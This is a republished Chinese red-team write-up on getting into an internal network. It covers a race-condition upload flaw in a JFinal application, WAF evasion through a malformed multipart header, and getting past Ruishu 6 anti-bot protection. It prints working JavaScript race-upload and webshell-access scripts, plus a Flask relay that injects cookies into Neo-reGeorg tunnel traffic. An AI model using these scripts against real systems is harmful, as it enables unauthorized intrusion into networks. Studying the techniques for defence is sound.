从条件竞争到绕过瑞数6反爬构造正向代理进入内网

admin 2025-12-27 02:05:10 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文讲述红队项目中利用JFinal上传接口的条件竞争漏洞获取Webshell。面对瑞数6反爬虫,作者先利用JS调用XHR绕过反爬与WAF上传文件;后因目标不出网,通过定制脚本获取加密Cookie,结合Flask中转Neo-reGeorg流量构造正向代理,成功突破限制进入内网,体现了复杂环境下灵活的攻防思路。 综合评分: 89 文章分类: 红队,内网渗透,WEB安全,渗透测试,实战经验


cover_image

从条件竞争到绕过瑞数6反爬构造正向代理进入内网

原创

flowerwind

长个新的脑袋

2023年12月11日 11:48 江苏

前言

文章主要讲述某次红队攻防项目中,从挖掘某系统0day漏洞拿到shell并通过jfinal框架的某个tips绕过waf,到绕过瑞数6反爬最终构造正向代理进入内网的过程

漏洞挖掘

前期若干天供应链的艰辛不谈,直接进入到挖洞阶段

拿到手一看代码,发现和目标能对的上的接口少之又少,大概只有两个左右的class中的路由能和目标对的上。扫视一遍lib依赖和web.xml后确定了一些信息:1、目标使用jfinal框架进行开发 2、目标没有能rce的第三方依赖。对目标站点抓包访问了一下,发现了目标的站点不太对劲,因为这个站不能重放包。一开始我以为是银行的那种防重放系统,后面找了专家问了一下,是瑞数反爬虫。这就意味着我们打exp会非常艰难,因为自己构造的exp数据包是过不了瑞数的,打过去会直接返回412的状态码。瑞数反爬的防护下,你的每个请求包都要求带一个cookie,这个cookie都是根据uri动态加密计算的。

到这里为止,环境还是令人绝望的。一两个能对上路由的class文件、有漏洞也不一定打的了的瑞数反爬虫、更恐怖的是就算侥幸rce了,代理应该怎么做。正常人一般就放弃了,但我在上一篇hessian反序列化的博客说过:没有打不死的站,只有不努力的工程师。所以必须梭哈,全力办他!

那么问题来了,在没有第三方能rce依赖下,还能找到什么漏洞呢?我在通篇浏览完少量的代码后,发现了一个上传点,但是这个上传点强制限制了文件内容是jpg,而且后缀使用了白名单。除了这个上传点之外,就没有其他的有用的代码了,其他代码全是业务上的渲染和一些预编译的sql。只能转头看这个上传点,这个上传点和我们平常见的最多的SpringMVC的那种上传很不一样。

上图就是文件上传的一个接口,在后面的代码中我就没看到有文件落地的过程了,那说明从http的请求到文件的写入过程在this.getFiles中

最后一直跟,跟到了jfinal框架里面,在下面的红框中进行了文件写入

那从这里看我好像可以直接写入jsp文件,在我本地环境测试之后发现并没有写进去,然后我就继续看后续的代码,是否做了什么操作后面发现文件上传完有一个判断isSafeFile的方法

这里检测后缀是不是jsp或者jspx,如果是的话会进行删除

看到这边灵光一现,如果我访问jsp的时机正好在他写入了jsp文件之后,而未来得及删除的时候,那么就能成功的访问到webshell了,从上面代码看显然这个路径是固定的。明显的条件竞争场景。这边漏洞点以及有了,我的exp只要两个数据包,一个数据包上传jsp,一个数据包访问这个jsp即将落地的一个web路径。两个数据包高并发的发出去,在某一时刻就可以获取到shell。

Bypass瑞数反爬虫&&Bypass Waf GetShell

前面说了因为有瑞数,我们的exp是没办法正常的发出去的,后面同事研究了下,如果通过js来调用http的请求,那么这个请求自动会携带瑞数的cookie,这样就能正常的把包发出去了。

通过这个特点,我找chatgpt写了两个js代码

下面的代码的真实url路径我进行了修改

upload.js

fileInput = document.getElementById('fileInput');file = fileInput.files[0];
function makeRequest(url) {  return new Promise((resolve, reject) => {    const xhr = new XMLHttpRequest();      var fd = new FormData();
fd.append("fileField",file);    xhr.open('POST', url, true);    xhr.setRequestHeader('Content-Type', 'multipart/form-data; boundary=---');

    xhr.onload = function() {      if (xhr.status >= 200 && xhr.status < 300) {        resolve(xhr.responseText);      } else {        reject(new Error(`HTTP request failed with status ${xhr.status}`));      }    };
    xhr.onerror = function() {      reject(new Error('Network error'));    };
    xhr.send(fd);  });}
 url = '/uploadExample';concurrency = 10000; // 设置并发请求数
// 创建一组请求requests = Array.from({ length: concurrency }, () => makeRequest(url));
// 使用Promise.all等待所有请求完成Promise.all(requests)  .then(responses => {    console.log('All requests completed successfully:', responses);  })  .catch(error => {    console.error('One or more requests failed:', error);  });

get.js

function makeRequest(url) {  return new Promise((resolve, reject) => {    const xhr = new XMLHttpRequest();
    xhr.open('GET', url, true);
    xhr.onload = function() {      if (xhr.status == 200 && xhr.status == 500) {        resolve(xhr.responseText);      } else {        //reject(new Error(`HTTP request failed with status ${xhr.status}`));      }    };
    xhr.onerror = function() {      //reject(new Error('Network error'));    };
    xhr.send();  });}
url = '/shell.jsp;';concurrency = 20000; // 设置并发请求数
// 创建一组请求requests = Array.from({ length: concurrency }, () => makeRequest(url));
// 使用Promise.all等待所有请求完成Promise.all(requests)  .then(responses => {    console.log('All requests completed successfully:', responses);  })  .catch(error => {    console.error('One or more requests failed:', error);  });

打开F12,先运行upload.js,再打开另外一个浏览器运行get.js,这样就可以模拟瑞数的数据包进行发包了

可以注意到我上面访问webshell的路径为:/shell.jsp;

这里参考:https://forum.butian.net/share/1899,因为jfinal做了限制,正常不能访问jsp文件,但某些版本可以通过;绕过

还有个点是upload.js中有一段代码为

    xhr.setRequestHeader('Content-Type', 'multipart/form-data; boundary=---');

这里是绕过waf使用的,因为我构造了畸形的multipart,所以导致waf不能识别到multipart参数中的值,也就绕过了waf。通过我本地测试,这样写在final中是可以正常解析并把文件写入到本地磁盘的。因此这里利用两者解析的差异性绕过了waf。这个绕过也是极少数能用js表达出来的绕过了,不然如果要更多的修改数据包来绕waf的话,js可能就完不成了,也就没办法过瑞数的同时过waf了。

通过大概几千到一万次的访问,最后我访问到了我上传的jsp文件,这个jsp文件的功能为在同目录写入一个专门做文件上传功能的小马,方便我后续稳定的做上传测试。后面我用上传小马传了个命令执行马上去,至此shell就拿下了

Bypass瑞数做正向代理

经过命令执行的探测,发现目标站不出网无法做反向代理。但做正向代理的话,前面又有瑞数,正向代理可没办法用js去一条一条的发包。这里只能正面去刚了,首先我想到的是用python调用selinium或playwright框架去访问目标站,然后模拟js执行来绕过瑞数。但显然我想的简单了,完全绕不过去,都被检测了。后来实在没办法,开始在网上找专门做瑞数解密的人去弄,经过别人研判是最新的瑞数6代,每一个站的加密都是不一样的,因此没有通用工具能破解,只能一个站一套脚本。最后使用钞能力全款拿下了一套脚本。

有个这个脚本后,我们就能做到先调用脚本,获取一个我们要访问的url的加密cookie,把cookie附加到我们的数据包中,这样我们数据包就经过加密,可以正常的抵达到目标服务器的后端了。

下面就是对于neoreg的改造,说实话,在前面的几天中已经花费很多的时间了,到这个时候我已经没心情再去看neoreg哪里调用了http请求,然后再去调用加密给他赋cookie了,因为这样的话我肯定要花时间去理解neoreg的代码并找到每个http请求的地方。很浪费时间。我想了个折中的办法,也就是我用python写一个flask,这个flask的功能是监听8080端口,然后neoreg把流量发给flask监听的8080端口。flask收到了neoreg的流量后,调用瑞数加密的脚本,获取到一个可用的Cookie,把Cookie塞入到flask收到的neoreg的http包中的Cookie位置,然后把整合完毕的包发给目标站。

最后代码大致如下

#!/usr/bin/env python3# -*- coding: utf-8 -*-import serverimport urllibfrom flask import Flaskfrom flask import requestfrom flask import Responseimport requestsfrom http.cookiejar import CookieJarimport rs6
# from requests.packages.urllib3.exceptions import InsecureRequestWarning# requests.packages.urllib3.disable_warnings(InsecureRequestWarning)requests.packages.urllib3.disable_warnings()#requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += 'HIGH:!DH:!aNULL'proxies={    'http':'http://127.0.0.1:8888',    'https':'http://127.0.0.1:8888',}
app = Flask(__name__)
url = 'https://xxxxxx:8888/upload/tun.jsp;'
def getRsCookie(url):    tempCookie=rs6.getCookie(url)    return tempCookie

@app.route('/<path>',methods=['GET','POST'])def index(path):    while(True):        cookie=getRsCookie(url)        cookieArr = cookie.split(';')        cookies = {}        for cookie in cookieArr:            keyValue = cookie.split('=')            cookies[keyValue[0]] = keyValue[1]        if request.method == 'GET':            # try:
                res = requests.get(url, verify=False,cookies=cookies,proxies=proxies)                if res.status_code!=200:                    continue                resp = server.Response(res.text)                return resp        elif request.method == 'POST':            data = request.get_data()            headers = {'Content-Type': 'application/octet-stream'}            res = requests.post(url, headers=headers, data=data,cookies=cookies,verify=False, proxies=proxies)            if res.status_code!=200:                continue            resp = server.Response(res.text)            return resp
if __name__ == "__main__":    app.run(host='0.0.0.0', port=8811)

最后成功打通了代理,顺利进入了内网

总结

漏洞挖掘和漏洞利用同样重要,有洞打不了在一些大型的攻防中比较常见,重要是的能否有灵活的思路去应对以及有一个死磕到底决心。


Author:https://flowerwind.github.io/


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:长个新的脑袋 flowerwind《从条件竞争到绕过瑞数6反爬构造正向代理进入内网》

评论:0   参与:  2